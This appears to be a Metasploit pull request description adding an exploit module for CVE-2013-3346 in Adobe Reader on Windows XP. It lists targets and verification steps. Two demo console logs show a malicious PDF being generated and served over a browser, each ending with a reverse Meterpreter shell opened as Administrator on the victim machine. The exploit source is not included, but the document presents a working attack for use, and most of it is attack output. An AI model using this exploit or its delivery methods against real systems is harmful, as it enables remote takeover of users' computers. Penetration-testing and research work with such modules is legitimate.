Add module for CVE-2013-3346

As exploited on the wild on November 2013. Targeting Windows XP atm.

* Fileformat version: targets Adobe reader 9, 10, 11
* Browser version: targets Adobe Reader 10, 11 (Internet Explorer)

Verification
=========

- [ ] Install Windows XP SP3
- [ ] Install a vulnerable version of Adobe Reader
- [ ] Use modules like in the demo, hopefully enjoy sessions

Demo
=====

- Fileformat:

```
msf exploit(adobe_toolbutton) > use exploit/windows/fileformat/adobe_toolbutton 
msf exploit(adobe_toolbutton) > rexploit
[*] Reloading module...

[*] Creating 'msf.pdf' file...
[+] msf.pdf stored at /Users/juan/.msf4/local/msf.pdf

msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 192.168.172.244
[*] Meterpreter session 11 opened (192.168.172.1:4444 -> 192.168.172.244:2612) at 2013-12-16 13:40:20 -0600

meterpreter > getuid
sServer username: JUAN-C0DE875735\Administrator
meterpreter > sysinfo
Computer        : JUAN-C0DE875735
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...
```

- Browser

```

msf exploit(adobe_toolbutton) > rexploit
[*] Stopping existing job...

[*] Server stopped.
[*] Server stopped.
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.172.1:4444 
[*] Using URL: http://0.0.0.0:8080/YNxK0UmLGKp5o7
[*]  Local IP: http://10.6.0.165:8080/YNxK0UmLGKp5o7
[*] Server started.
msf exploit(adobe_toolbutton) > [*] 10.6.0.165       adobe_toolbutton - Gathering target information.
[*] 10.6.0.165       adobe_toolbutton - request: /YNxK0UmLGKp5o7/SvvljU/
[*] 10.6.0.165       adobe_toolbutton - Sending PDF...
[*] Sending stage (769024 bytes) to 192.168.172.244
[*] Meterpreter session 2 opened (192.168.172.1:4444 -> 192.168.172.244:1969) at 2013-12-16 13:26:01 -0600
msf exploit(adobe_toolbutton) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: JUAN-C0DE875735\Administrator
meterpreter > sysinfo
Computer        : JUAN-C0DE875735
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
emeterpreter > exit
[*] Shutting down Meterpreter...
```